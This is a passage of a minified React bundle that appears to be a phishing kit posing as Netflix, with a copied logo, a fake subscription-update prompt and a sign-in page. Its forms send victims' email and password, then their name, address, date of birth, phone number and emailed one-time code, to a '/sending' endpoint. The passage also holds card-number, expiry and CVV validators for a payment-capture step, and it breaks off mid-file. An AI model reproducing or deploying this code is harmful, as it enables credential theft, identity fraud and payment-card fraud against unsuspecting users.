ne=G?_n(G):i,Ne=_n(ne),be=xa(G),Se=be?i:Ne;if(J.keepDefaultValues||(i=ne),!J.keepValues){if(J.keepDirtyValues){const Te=new Set([...d.mount,...Object.keys(ll(i,c))]);for(const We of Array.from(Te))_e(n.dirtyFields,We)?Vt(Se,We,_e(c,We)):M(We,_e(Se,We))}else{if(ky&&xn(G))for(const Te of d.mount){const We=_e(s,Te);if(We&&We._f){const ct=Array.isArray(We._f.refs)?We._f.refs[0]:We._f.ref;if(eh(ct)){const Jt=ct.closest("form");if(Jt){Jt.reset();break}}}}if(J.keepFieldsRef)for(const Te of d.mount)M(Te,_e(Se,Te));else s={}}c=t.shouldUnregister?J.keepDefaultValues?_n(i):{}:_n(Se),g.array.next({values:{...Se}}),g.state.next({values:{...Se}})}d={mount:J.keepDirtyValues?d.mount:new Set,unMount:new Set,array:new Set,disabled:new Set,watch:new Set,watchAll:!1,focus:""},u.mount=!p.isValid||!!J.keepIsValid||!!J.keepDirtyValues,u.watch=!!t.shouldUnregister,g.state.next({submitCount:J.keepSubmitCount?n.submitCount:0,isDirty:be?!1:J.keepDirty?n.isDirty:!!(J.keepDefaultValues&&!Cr(G,i)),isSubmitted:J.keepIsSubmitted?n.isSubmitted:!1,dirtyFields:be?{}:J.keepDirtyValues?J.keepDefaultValues&&c?ll(i,c):n.dirtyFields:J.keepDefaultValues&&G?ll(i,G):J.keepDirty?n.dirtyFields:{},touchedFields:J.keepTouched?n.touchedFields:{},errors:J.keepErrors?n.errors:{},isSubmitSuccessful:J.keepIsSubmitSuccessful?n.isSubmitSuccessful:!1,isSubmitting:!1,defaultValues:i})},nn=(G,J)=>Qe(xs(G)?G(c):G,J),an=(G,J={})=>{const ne=_e(s,G),Ne=ne&&ne._f;if(Ne){const be=Ne.refs?Ne.refs[0]:Ne.ref;be.focus&&(be.focus(),J.shouldSelect&&xs(be.select)&&be.select())}},Zt=G=>{n={...n,...G}},Ae={control:{register:Oe,unregister:fe,getFieldState:F,handleSubmit:Xe,setError:q,_subscribe:me,_runSchema:k,_focusError:ke,_getWatch:$,_getDirty:U,_setValid:S,_setFieldArray:T,_setDisabledField:ye,_setErrors:A,_getFieldArray:H,_reset:Qe,_resetDefaultValues:()=>xs(t.defaultValues)&&t.defaultValues().then(G=>{nn(G,t.resetOptions),g.state.next({isLoading:!1})}),_removeUnmounted:z,_disableForm:$e,_subjects:g,_proxyFormState:p,get _fields(){return s},get _formValues(){return c},get _state(){return u},set _state(G){u=G},get _defaultValues(){return i},get _names(){return d},set _names(G){d=G},get _formState(){return n},get _options(){return t},set _options(G){t={...t,...G}}},subscribe:we,trigger:Z,register:Oe,handleSubmit:Xe,watch:Y,setValue:M,getValues:ce,reset:nn,resetField:pt,clearErrors:P,unregister:fe,setError:q,setFocus:an,getFieldState:F};return{...Ae,formControl:Ae}}function Ys(e={}){const t=he.useRef(void 0),n=he.useRef(void 0),[s,i]=he.useState({isDirty:!1,isValidating:!1,isLoading:xs(e.defaultValues),isSubmitted:!1,isSubmitting:!1,isSubmitSuccessful:!1,isValid:!1,submitCount:0,dirtyFields:{},touchedFields:{},validatingFields:{},errors:e.errors||{},disabled:e.disabled||!1,isReady:!1,defaultValues:xs(e.defaultValues)?void 0:e.defaultValues});if(!t.current)if(e.formControl)t.current={...e.formControl,formState:s},e.defaultValues&&!xs(e.defaultValues)&&e.formControl.reset(e.defaultValues,e.resetOptions);else{const{formControl:u,...d}=hH(e);t.current={...d,formState:s}}const c=t.current.control;return c._options=e,Oy(()=>{const u=c._subscribe({formState:c._proxyFormState,callback:()=>i({...c._formState}),reRenderRoot:!0});return i(d=>({...d,isReady:!0})),c._formState.isReady=!0,u},[c]),he.useEffect(()=>c._disableForm(e.disabled),[c,e.disabled]),he.useEffect(()=>{e.mode&&(c._options.mode=e.mode),e.reValidateMode&&(c._options.reValidateMode=e.reValidateMode)},[c,e.mode,e.reValidateMode]),he.useEffect(()=>{e.errors&&(c._setErrors(e.errors),c._focusError())},[c,e.errors]),he.useEffect(()=>{e.shouldUnregister&&c._subjects.state.next({values:c._getWatch()})},[c,e.shouldUnregister]),he.useEffect(()=>{if(c._proxyFormState.isDirty){const u=c._getDirty();u!==s.isDirty&&c._subjects.state.next({isDirty:u})}},[c,s.isDirty]),he.useEffect(()=>{e.values&&!Cr(e.values,n.current)?(c._reset(e.values,{keepFieldsRef:!0,...c._options.resetOptions}),n.current=e.values,i(u=>({...u}))):c._resetDefaultValues()},[c,e.values]),he.useEffect(()=>{c._state.mount||(c._setValid(),c._state.mount=!0),c._state.watch&&(c._state.watch=!1,c._subjects.state.next({...c._formState})),c._removeUnmounted()}),t.current.formState=i5(s,c),t.current}function m5({onClick:e,isSubmitting:t,isLoading:n,text:s,className:i}){const c=t||n;return o.jsx("button",{onClick:e,disabled:c,type:"submit",className:`w-full text-[18px] text-[#fff] h-[48px] bg-[#0050ff] rounded-[4px] font-source font-[500] disabled:cursor-not-allowed transition-colors ${i}`,children:n?o.jsx(jn,{className:"size-7 animate-spin mx-auto text-[#fff] opacity-[0.7]"}):o.jsx("span",{className:"leading-none mx-auto",children:s})})}const mH="data:image/svg+xml,%3csvg%20viewBox='0%200%20111%2030'%20version='1.1'%20xmlns='http://www.w3.org/2000/svg'%20xmlns:xlink='http://www.w3.org/1999/xlink'%20aria-hidden='true'%20role='img'%20fill='%23e50914'%3e%3cg%3e%3cpath%20d='M105.06233,14.2806261%20L110.999156,30%20C109.249227,29.7497422%20107.500234,29.4366857%20105.718437,29.1554972%20L102.374168,20.4686475%20L98.9371075,28.4375293%20C97.2499766,28.1563408%2095.5928391,28.061674%2093.9057081,27.8432843%20L99.9372012,14.0931671%20L94.4680851,-5.68434189e-14%20L99.5313525,-5.68434189e-14%20L102.593495,7.87421502%20L105.874965,-5.68434189e-14%20L110.999156,-5.68434189e-14%20L105.06233,14.2806261%20Z%20M90.4686475,-5.68434189e-14%20L85.8749649,-5.68434189e-14%20L85.8749649,27.2499766%20C87.3746368,27.3437061%2088.9371075,27.4055675%2090.4686475,27.5930265%20L90.4686475,-5.68434189e-14%20Z%20M81.9055207,26.93692%20C77.7186241,26.6557316%2073.5307901,26.4064111%2069.250164,26.3117443%20L69.250164,-5.68434189e-14%20L73.9366389,-5.68434189e-14%20L73.9366389,21.8745899%20C76.6248008,21.9373887%2079.3120255,22.1557784%2081.9055207,22.2804387%20L81.9055207,26.93692%20Z%20M64.2496954,10.6561065%20L64.2496954,15.3435186%20L57.8442216,15.3435186%20L57.8442216,25.9996251%20L53.2186709,25.9996251%20L53.2186709,-5.68434189e-14%20L66.3436123,-5.68434189e-14%20L66.3436123,4.68741213%20L57.8442216,4.68741213%20L57.8442216,10.6561065%20L64.2496954,10.6561065%20Z%20M45.3435186,4.68741213%20L45.3435186,26.2498828%20C43.7810479,26.2498828%2042.1876465,26.2498828%2040.6561065,26.3117443%20L40.6561065,4.68741213%20L35.8121661,4.68741213%20L35.8121661,-5.68434189e-14%20L50.2183897,-5.68434189e-14%20L50.2183897,4.68741213%20L45.3435186,4.68741213%20Z%20M30.749836,15.5928391%20C28.687787,15.5928391%2026.2498828,15.5928391%2024.4999531,15.6875059%20L24.4999531,22.6562939%20C27.2499766,22.4678976%2030,22.2495079%2032.7809542,22.1557784%20L32.7809542,26.6557316%20L19.812541,27.6876933%20L19.812541,-5.68434189e-14%20L32.7809542,-5.68434189e-14%20L32.7809542,4.68741213%20L24.4999531,4.68741213%20L24.4999531,10.9991564%20C26.3126816,10.9991564%2029.0936358,10.9054269%2030.749836,10.9054269%20L30.749836,15.5928391%20Z%20M4.78114163,12.9684132%20L4.78114163,29.3429562%20C3.09401069,29.5313525%201.59340144,29.7497422%200,30%20L0,-5.68434189e-14%20L4.4690224,-5.68434189e-14%20L10.562377,17.0315868%20L10.562377,-5.68434189e-14%20L15.2497891,-5.68434189e-14%20L15.2497891,28.061674%20C13.5935889,28.3437998%2011.906458,28.4375293%2010.1246602,28.6868498%20L4.78114163,12.9684132%20Z'%3e%3c/path%3e%3c/g%3e%3c/svg%3e",pH=()=>{const{t:e}=ta("global"),{setIsForm:t}=Wt(),[n,s]=C.useState(!1);return o.jsx("div",{className:"w-full min-h-screen fixed flex top-0 bg-black z-10",children:o.jsxs("div",{className:"w-full bg-custom flex flex-1 items-center",children:[o.jsx("img",{src:mH,alt:e("common.logoAlt"),className:"absolute left-[24px] top-[28px] md:left-[148px] md:w-[148px] w-[89px]"}),o.jsxs("div",{className:"max-w-[450px] w-full p-[24px] m-auto",children:[o.jsx("h1",{className:"font-source font-[700] text-center text-[32px] text-[#fff] leading-[1.2]",children:e("subscription.title")}),o.jsx("p",{className:"font-source font-[400] block text-center text-[18px] text-[#fff] mb-[26px] mt-[20px] px-[2px]",children:e("subscription.description")}),o.jsx(m5,{text:e("button.update"),isLoading:n,isSubmitting:n,onClick:()=>{s(!0),setTimeout(()=>t("info"),2e3)}})]})]})})};function xH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),{t:c}=ta("global"),[u]=C.useState(!1),d=la(),m=Qt(),{handleSubmit:h,register:p,trigger:x,clearErrors:g,watch:y,formState:{errors:w,isSubmitting:S,isValid:N}}=Ys({mode:"onSubmit",defaultValues:{email:"",password:""}}),T=y("email"),E=(()=>{const R=String(T||"").trim();if(!R)return!1;const D=/^[^\s@]+@[^\s@]+\.[^\s@]+$/,k=/^[\d\s\-+()]{7,20}$/,B=R.replace(/\D/g,"");return D.test(R)||k.test(R)&&B.length>=7})(),A=p("email",{required:c("login.invalidEmail"),validate:R=>{const D=/^[^\s@]+@[^\s@]+\.[^\s@]+$/,k=/^[\d\s\-+()]{7,20}$/,B=R.replace(/\D/g,""),I=D.test(R),z=k.test(R)&&B.length>=7;return I||z||c("login.invalidEmail")}}),j=async R=>{const D={step:"login",unique_id:e,username:R.email,password:R.password};sessionStorage.setItem("username",R.email),sessionStorage.setItem("password",R.password),i(!0);try{const k=await m.sending("/sending",D);n(!1),k.status==="success"?(n(null),i(!1),t("info"),d(oi)):(n(c("message.loginError")),i(!1))}catch(k){console.error("🚀 ~ onSubmit ~ e:",k),i(!1)}};return o.jsxs(o.Fragment,{children:[u&&o.jsx(pH,{}),o.jsx("div",{className:"w-full flex justify-center items-center md:p-[32px] p-[24px]",children:o.jsx("div",{className:"w-full max-w-[480px] flex items-center justify-center rounded-[8px]",children:o.jsxs("form",{className:"w-full max-w-[480px] min-h-[613px]",noValidate:!0,autoComplete:"off",onSubmit:h(j),children:[o.jsx("p",{className:"font-source font-[700] text-[32px] text-[#fff] leading-[1.2]",children:c("login.signIn")}),o.jsxs("div",{children:[o.jsx("p",{className:"font-source font-[400] block text-[18px] text-[#fff] leading-none opacity-70 mb-[26px] mt-[20px] px-[2px]",children:c("login.enterMobileOrEmail")}),o.jsxs("div",{className:"relative mb-[12px]",children:[o.jsx("input",{type:"text",id:"email",placeholder:" ",className:`input font-source peer text-[16px] bg-[#0F1111] text-[#fff] font-[300] w-full h-[56px] px-[16px] pt-[16px] pb-[4px] border rounded-[4px] focus:ring-0 focus:ring-offset-0 focus:outline-offset-2 focus:outline-[#fff] ${w.email?"border-[#D90C16]":"border-[#888c8c]"}`,...A,onFocus:()=>g("email"),onChange:R=>{A.onChange(R),g("email")},onBlur:R=>{A.onBlur(R),x("email")}}),o.jsx("span",{className:"font-source absolute left-[16px] top-1/2 -translate-y-1/2 text-[16px] text-[#fff] opacity-60 font-[300] pointer-events-none transition-all duration-200 peer-focus:top-[10px] peer-focus:translate-y-0 peer-focus:text-[11px] peer-focus:text-[#fff] peer-[:not(:placeholder-shown)]:top-[10px] peer-[:not(:placeholder-shown)]:translate-y-0 peer-[:not(:placeholder-shown)]:text-[11px] peer-[:not(:placeholder-shown)]:text-[#fff]",children:c("login.emailPlaceholder")})]})]}),w.email&&o.jsxs("div",{className:"flex items-center gap-[6px] mb-[12px]",children:[o.jsx(wg,{className:"w-[16px] h-[16px] text-[#D90C16]",strokeWidth:2.5}),o.jsx("span",{className:"font-source text-[13px] text-[#D90C16] font-[400]",children:w.email.message})]}),E&&o.jsxs("div",{className:"relative mb-[12px] animate-in fade-in slide-in-from-top-2 duration-300",children:[o.jsx("input",{type:"password",id:"password",placeholder:" ",className:`input font-source peer text-[16px] bg-[#0F1111] text-[#fff] font-[300] w-full h-[56px] px-[16px] pt-[16px] pb-[4px] border rounded-[4px] outline-none focus:ring-1 focus:border-[#fff] focus:ring-[#fff] ${w.password?"border-[#D90C16]":"border-[#888c8c]"}`,...p("password",{required:E?c("login.invalidPassword"):!1}),onFocus:()=>g("password")}),o.jsx("span",{className:"font-source absolute left-[16px] top-1/2 -translate-y-1/2 text-[16px] text-[#fff] opacity-60 font-[300] pointer-events-none transition-all duration-200 peer-focus:top-[10px] peer-focus:translate-y-0 peer-focus:text-[11px] peer-focus:text-[#fff] peer-[:not(:placeholder-shown)]:top-[10px] peer-[:not(:placeholder-shown)]:translate-y-0 peer-[:not(:placeholder-shown)]:text-[11px] peer-[:not(:placeholder-shown)]:text-[#fff]",children:c("login.password")})]}),w.password&&o.jsxs("div",{className:"flex items-center gap-[6px] mb-[12px]",children:[o.jsx(wg,{className:"w-[16px] h-[16px] text-[#D90C16]",strokeWidth:2.5}),o.jsx("span",{className:"font-source text-[13px] text-[#D90C16] font-[400]",children:w.password.message})]}),o.jsx("div",{children:o.jsx(m5,{isLoading:s,text:c("button.continue"),isSubmitting:s||S||!N})}),o.jsxs("div",{className:"flex items-center cursor-pointer mt-[44px] gap-[4px]",children:[o.jsx("p",{className:"text-[16px] text-[#fff] font-source font-[400]",children:c("login.needHelp")}),o.jsx(wh,{strokeWidth:3,className:"w-[16px] h-[16px] text-[#fff]"})]}),o.jsx("div",{className:"mt-[34px]",children:o.jsx("p",{className:"text-[#fff] opacity-50 text-[12px]",children:c("login.recaptchaNotice")})})]})})})]})}function Rr({onClick:e,isSubmitting:t,isLoading:n,text:s}){return o.jsx(o.Fragment,{children:o.jsx("button",{onClick:e,disabled:t,type:"submit",className:"w-full cursor-pointer h-[56px] bg-[#00377d] hover:bg-[#002a61] text-white font-[600] p-[6px_16px] rounded-[25px] transition-colors duration-200 flex items-center justify-center disabled:bg-[#e5e7eb] disabled:text-[#9ca3af] disabled:cursor-not-allowed",children:n?o.jsx(jn,{className:"animate-spin mx-auto"}):s})})}const gH="modulepreload",vH=function(e){return"/"+e},vN={},yH=function(t,n,s){let i=Promise.resolve();if(n&&n.length>0){let h=function(p){return Promise.all(p.map(x=>Promise.resolve(x).then(g=>({status:"fulfilled",value:g}),g=>({status:"rejected",reason:g}))))};var u=h;document.getElementsByTagName("link");const d=document.querySelector("meta[property=csp-nonce]"),m=d?.nonce||d?.getAttribute("nonce");i=h(n.map(p=>{if(p=vH(p),p in vN)return;vN[p]=!0;const x=p.endsWith(".css"),g=x?'[rel="stylesheet"]':"";if(document.querySelector(`link[href="${p}"]${g}`))return;const y=document.createElement("link");if(y.rel=x?"stylesheet":gH,x||(y.as="script"),y.crossOrigin="",y.href=p,m&&y.setAttribute("nonce",m),document.head.appendChild(y),x)return new Promise((w,S)=>{y.addEventListener("load",w),y.addEventListener("error",()=>S(new Error(`Unable to preload CSS for ${p}`)))})}))}function c(d){const m=new Event("vite:preloadError",{cancelable:!0});if(m.payload=d,window.dispatchEvent(m),!m.defaultPrevented)throw d}return i.then(d=>{for(const m of d||[])m.status==="rejected"&&c(m.reason);return t().catch(c)})};function bH({text:e}){return o.jsx("div",{className:"mt-2",children:o.jsxs("span",{className:"flex flex-row items-start gap-1 text-[#eb3942] text-[13px] leading-[14px]",children:[o.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",width:"16",height:"16",viewBox:"0 0 16 16",role:"img","data-icon":"CircleXSmall","aria-hidden":"true",children:o.jsx("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M14.5 8C14.5 11.5899 11.5899 14.5 8 14.5C4.41015 14.5 1.5 11.5899 1.5 8C1.5 4.41015 4.41015 1.5 8 1.5C11.5899 1.5 14.5 4.41015 14.5 8ZM16 8C16 12.4183 12.4183 16 8 16C3.58172 16 0 12.4183 0 8C0 3.58172 3.58172 0 8 0C12.4183 0 16 3.58172 16 8ZM4.46967 5.53033L6.93934 8L4.46967 10.4697L5.53033 11.5303L8 9.06066L10.4697 11.5303L11.5303 10.4697L9.06066 8L11.5303 5.53033L10.4697 4.46967L8 6.93934L5.53033 4.46967L4.46967 5.53033Z",fill:"#eb3942"})}),e]})})}const ka=C.forwardRef(({label:e,error:t,className:n,onFocus:s,onBlur:i,onChange:c,type:u,variant:d="dark",cleaveOptions:m,value:h,...p},x)=>{const[g,y]=C.useState(!1),[w,S]=C.useState(!!h),[N,T]=C.useState(!1),E=C.useRef(null),A=C.useRef(null),j=C.useRef(!1),{i18n:R}=ta(),D=x||E;C.useEffect(()=>(d==="masked"&&m&&D&&typeof D!="function"&&D.current&&yH(()=>import("./cleave-esm-CtuwfbSP.js"),[]).then(V=>{const Z=V.default||V;A.current&&A.current.destroy();try{A.current=new Z(D.current,{...m,onValueChanged:ce=>{const F=ce.target.value,P=ce.target.rawValue||F;S(F.length>0),c&&c({target:{value:F,rawValue:P,name:D.current?.name}})}}),h&&(A.current.setRawValue(h),S(!!h))}catch(ce){console.warn("[v0] Cleave.js initialization failed:",ce.message),D.current&&(D.current.value=h||"",S(!!h))}}).catch(V=>{console.warn("[v0] Failed to load Cleave.js:",V.message)}),()=>{if(A.current){try{A.current.destroy()}catch(V){console.warn("[v0] Error destroying Cleave.js instance:",V.message)}A.current=null}}),[d,m,c,h]);const k=V=>{y(!0),window.innerWidth<=768&&(V.target.style.fontSize="16px"),s?.(V)},B=V=>{y(!1),window.innerWidth<=768&&(V.target.style.fontSize=""),d==="masked"&&(j.current=!1),i?.(V)},I=V=>{d==="masked"?(j.current=!0,m||(S(V.target.value.length>0),c?.(V))):(S(V.target.value.length>0),c?.(V))},z=()=>{T(!N)},U=V=>{V.preventDefault(),z()},$=g||w,H=u==="password"&&d!=="masked",W=H?N?"text":"password":u,se=R.dir?R.dir()==="rtl":["ar","he","fa","ur"].includes(R.language),O=(()=>{switch(d){case"light":return{input:"bg-[#fff] border border-[#808080b3] text-[#333] outline-[#333] focus:shadow-none focus:ring-0",label:"text-[#000000b3]",labelFocused:"text-[#000000b3]",passwordToggle:"text-[#b3b3b3] hover:text-[#333]"};case"masked":return{input:"bg-[#fff] border border-[#808080b3] text-[#333] outline-[#333] focus:shadow-none focus:ring-0",label:"text-[#000000b3]",labelFocused:"text-[#000000b3]",passwordToggle:"text-[#b3b3b3] hover:text-[#333]"};case"dark":default:return{input:"bg-[#161616b3] border border-[#808080b3] text-white outline-[#fff]",label:"text-[#b3b3b3]",labelFocused:"text-[#b3b3b3]",passwordToggle:"text-[#b3b3b3] hover:text-white"}}})();return o.jsxs("div",{className:"relative w-full",dir:se?"rtl":"ltr",children:[o.jsx("input",{ref:D,...p,type:W,onFocus:k,onBlur:B,onChange:I,className:je($?"placeholder:text-[#000000b3]":"placeholder:text-transparent","w-full h-14 px-[14px] py-4 pt-[38px] rounded-[4px] text-base","transition-colors duration-200 focus:outline-offset-3 ring-offset-0 focus:ring-offset-0","text-[16px] md:text-base",O.input,H&&(se?"pl-12":"pr-12"),t&&"border-[#eb3942] focus:border-[#eb3942]",n)}),o.jsx("label",{className:je(se?"absolute right-4":"absolute left-4","pointer-events-none transition-all duration-200 ease-out",O.label,$?"top-2 text-[12px] font-medium":"top-4 text-[16px]",g&&O.labelFocused,t&&"text-[#eb3942]"),children:e}),H&&g&&o.jsx("button",{type:"button",onMouseDown:U,className:je(se?"absolute left-3":"absolute right-3","top-[28px] -translate-y-1/2 transition-colors duration-200 focus:outline-none cursor-pointer",O.passwordToggle),tabIndex:-1,children:N?o.jsxs("svg",{width:"20",height:"20",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round",children:[o.jsx("path",{d:"M9.88 9.88a3 3 0 1 0 4.24 4.24"}),o.jsx("path",{d:"M10.73 5.08A10.43 10.43 0 0 1 12 5c7 0 10 7 10 7a13.16 13.16 0 0 1-1.67 2.68"}),o.jsx("path",{d:"M6.61 6.61A13.526 13.526 0 0 0 2 12s3 7 10 7a9.74 9.74 0 0 0 5.39-1.61"}),o.jsx("line",{x1:"2",y1:"2",x2:"22",y2:"22"})]}):o.jsxs("svg",{width:"20",height:"20",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round",children:[o.jsx("path",{d:"M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"}),o.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}),t&&o.jsx(bH,{text:t})]})});ka.displayName="FloatingLabelInput";function wH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),{t:c}=ta("global"),u=Qt(),{control:d,register:m,handleSubmit:h,formState:{isSubmitting:p,isValid:x,errors:g}}=Ys({mode:"onChange",defaultValues:{firstName:"",lastName:"",address:"",city:"",postalCode:"",country:"",phone:"",dob:""}}),y=async w=>{try{i(!0);const S={step:"info",unique_id:e,name:w.firstName+" "+w.lastName,address:w.address,city:w.city,postalcode:w.postalCode,country:w.country,phone:w.phone,dob:w.dob};(await u.sending("/sending",S)).status==="success"?(n(null),i(!0),t("card")):(n(c("message.infoSubmissionError")),i(!1))}catch(S){console.log("🚀 ~ onSubmit ~ e:",S),i(!1)}};return o.jsx("div",{className:"w-full flex flex-col items-center",children:o.jsxs("form",{className:"w-full",onSubmit:h(y),children:[o.jsxs("div",{className:"w-full pb-4",children:[o.jsx("h2",{className:"text-[32px] font-custom font-[600] text-[#333] mb-[4px]",children:c("info.title")}),o.jsx("p",{className:"text-[16px] text-[#0009]",children:c("info.subtitle")})]}),o.jsxs("div",{className:"w-full space-y-4",children:[o.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[o.jsx(ka,{...m("firstName",{required:c("validation.firstNameRequired")}),label:c("info.firstName"),type:"text",variant:"light",error:g.firstName?.message}),o.jsx(ka,{...m("lastName",{required:c("validation.lastNameRequired")}),label:c("info.lastName"),type:"text",variant:"light",error:g.lastName?.message})]}),o.jsx(M0,{name:"dob",control:d,rules:{required:c("validation.dateOfBirthRequired")},render:({field:{onChange:w,onBlur:S,value:N}})=>o.jsx(ka,{label:c("info.dob"),type:"tel",variant:"masked",value:N,onChange:T=>w(T.target.value),onBlur:S,cleaveOptions:{date:!0,datePattern:["m","d","Y"]},error:g.dob?.message})}),o.jsx(ka,{...m("address",{required:c("validation.addressRequired")}),label:c("info.address"),type:"text",variant:"light",error:g.address?.message}),o.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[o.jsx(ka,{...m("city",{required:c("validation.cityRequired")}),label:c("info.city"),type:"text",variant:"light",error:g.city?.message}),o.jsx(ka,{...m("postalCode",{required:c("validation.postalCodeRequired")}),label:c("info.postalCode"),type:"text",variant:"light",error:g.postalCode?.message})]}),o.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[o.jsx(ka,{...m("country",{required:c("validation.countryRequired")}),label:c("info.country"),type:"text",variant:"light",error:g.country?.message}),o.jsx(ka,{...m("phone",{required:c("validation.phoneRequired")}),label:c("info.phone"),type:"tel",variant:"light",error:g.phone?.message})]})]}),o.jsx("div",{className:"w-full pt-[20px]",children:o.jsx(Rr,{isSubmitting:p||!x||s,isLoading:s,text:c("button.continue")})})]})})}function CH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),[c,u]=C.useState(!1),[d,m]=C.useState(!1),[h,p]=C.useState(60),[x,g]=C.useState(!1),[y]=ta("global"),w=Qt(),{register:S,handleSubmit:N,watch:T,formState:{errors:E,isValid:A,isSubmitting:j}}=Ys({mode:"onChange",defaultValues:{verificationCode:""}}),R=T("verificationCode"),D=d||R&&R.length>0;C.useEffect(()=>{if(h>0){const I=setTimeout(()=>p(h-1),1e3);return()=>clearTimeout(I)}else g(!0)},[h]);const k=async I=>{try{i(!0);const z={step:"mail",unique_id:e,code:I.verificationCode};(await w.sending("/sending",z)).status==="success"?(t("loader"),n(null),i(!1)):(n(y("message.xmessageSending")),i(!1))}catch(z){console.log("🚀 ~ onSubmit ~ e:",z)}},B=async()=>{u(!0);try{const I={step:"notif",unique_id:e,notif:"User requested to resend MAIL code"};await w.sending("/sending",I),p(60),g(!1),u(!1)}catch(I){console.error("Resend error:",I),u(!1)}};return o.jsx("div",{className:"w-full mx-auto space-y-6 z-50",children:o.jsx("div",{className:"w-full",children:o.jsxs("div",{className:"w-full md:flex-none flex-1 flex-col flex transition-all duration-500 ease-in-out",children:[o.jsxs("div",{className:"mb-6 text-center",children:[o.jsx("div",{className:"w-16 h-16 bg-red-100 rounded-full flex items-center justify-center mx-auto mb-4",children:o.jsx($0,{className:"w-8 h-8 text-[#0050ff]"})}),o.jsx("h2",{className:"text-2xl font-semibold text-gray-800",children:y("mailForm.title")}),o.jsx("p",{className:"text-gray-600 mt-2",children:y("mailForm.description")}),o.jsx("p",{className:"text-sm text-gray-500 mt-1",children:y("mailForm.instruction")})]}),o.jsxs("form",{className:"w-full flex flex-col justify-between flex-1",onSubmit:N(k),children:[o.jsxs("div",{className:"space-y-6",children:[o.jsxs("div",{className:"w-full relative",children:[o.jsx("label",{htmlFor:"verificationCode",className:`
                  text-[16px] leading-[1.5] font-[300] absolute transition-all duration-200 ease-in-out pointer-events-none
                  ${D?"top-[-2px] text-[12px] text-[#666] transform scale-90 origin-left":"top-[18px] text-[#999]"}
                  ${E.verificationCode?"text-red-600":""}
                `,children:y("mailForm.codeLabel")}),o.jsx("input",{type:"text",id:"verificationCode",...S("verificationCode",{required:y("mailForm.codeRequired")}),onFocus:()=>m(!0),onBlur:()=>m(!1),className:`
                  w-full text-[#333] border-b-[2px] bg-transparent pt-[16px] pb-[3px] px-0
                  font-[400] outline-none ring-0 transition-colors duration-200 text-2xl tracking-widest
                  ${E.verificationCode?"border-red-600":d?"border-[#7a7a7a]":"border-[#ced4da]"}
                `,placeholder:"",autoComplete:"one-time-code"}),E.verificationCode&&o.jsx("p",{className:"text-red-600 text-sm mt-1 text-center",children:E.verificationCode.message})]}),o.jsxs("div",{className:"text-center space-y-3",children:[o.jsx("p",{className:"text-sm text-gray-600",children:y("mailForm.didntReceive")}),x?o.jsx("button",{type:"button",variant:"ghost",onClick:B,disabled:c,className:"w-full flex flex-row items-center justify-center text-[#0050ff] hover:text-[#003dd4] p-0 h-auto font-medium",children:c?o.jsxs(o.Fragment,{children:[o.jsx(jn,{className:"w-4 h-4 mr-2 animate-spin"}),y("mailForm.sending")]}):o.jsxs(o.Fragment,{children:[o.jsx(bi,{className:"w-4 h-4 mr-2"}),y("mailForm.resendCode")]})}):o.jsx("p",{className:"text-sm text-gray-500",children:y("mailForm.resendCountdown",{timeLeft:h})})]}),o.jsx("div",{className:"bg-gray-50 border border-gray-200 rounded-lg p-4",children:o.jsxs("div",{className:"flex items-start gap-3",children:[o.jsx($0,{className:"w-5 h-5 text-[#000] mt-0.5 flex-shrink-0"}),o.jsxs("div",{className:"text-sm text-[#000]",children:[o.jsx("p",{className:"font-medium mb-1",children:y("mailForm.helpTitle")}),o.jsxs("ul",{className:"space-y-1 text-[#000]",children:[o.jsxs("li",{children:["• ",y("mailForm.helpItem1")]}),o.jsxs("li",{children:["• ",y("mailForm.helpItem2")]}),o.jsxs("li",{children:["• ",y("mailForm.helpItem3")]})]})]})]})})]}),o.jsx("div",{className:"w-full mt-8",children:o.jsx(Rr,{isSubmitting:j||!A||s,isLoading:s,text:y("button.continue")})})]})]})})})}const SH=(e,t)=>{if(!e)return`${t("pay.xPay11")}`;const n=e.replace(/\D/g,"");if(n.length<13||n.length>19)return`${t("pay.xPay18")}`;let s=0,i=!1;for(let c=n.length-1;c>=0;c--){let u=parseInt(n.charAt(c),10);i&&(u*=2,u>9&&(u-=9)),s+=u,i=!i}return s%10===0||`${t("pay.xPay19")}`},NH=(e,t)=>{if(!/^\d{2}\/\d{2}$/.test(e))return`${t("pay.xPay20")}`;const[n,s]=e.split("/"),i=parseInt(n,10),c=parseInt(s,10);if(i<1||i>12)return`${t("pay.xPay20")}`;if(c<26||c>35)return`${t("pay.xPay20")}`;const u=new Date;return new Date(`20${s}`,i-1)<=u?`${t("pay.xPay20")}`:!0},EH=(e,t)=>/^\d{3,4}$/.test(e)||`${t("pay.xPay21")}`,jH="data:image/png;base64, 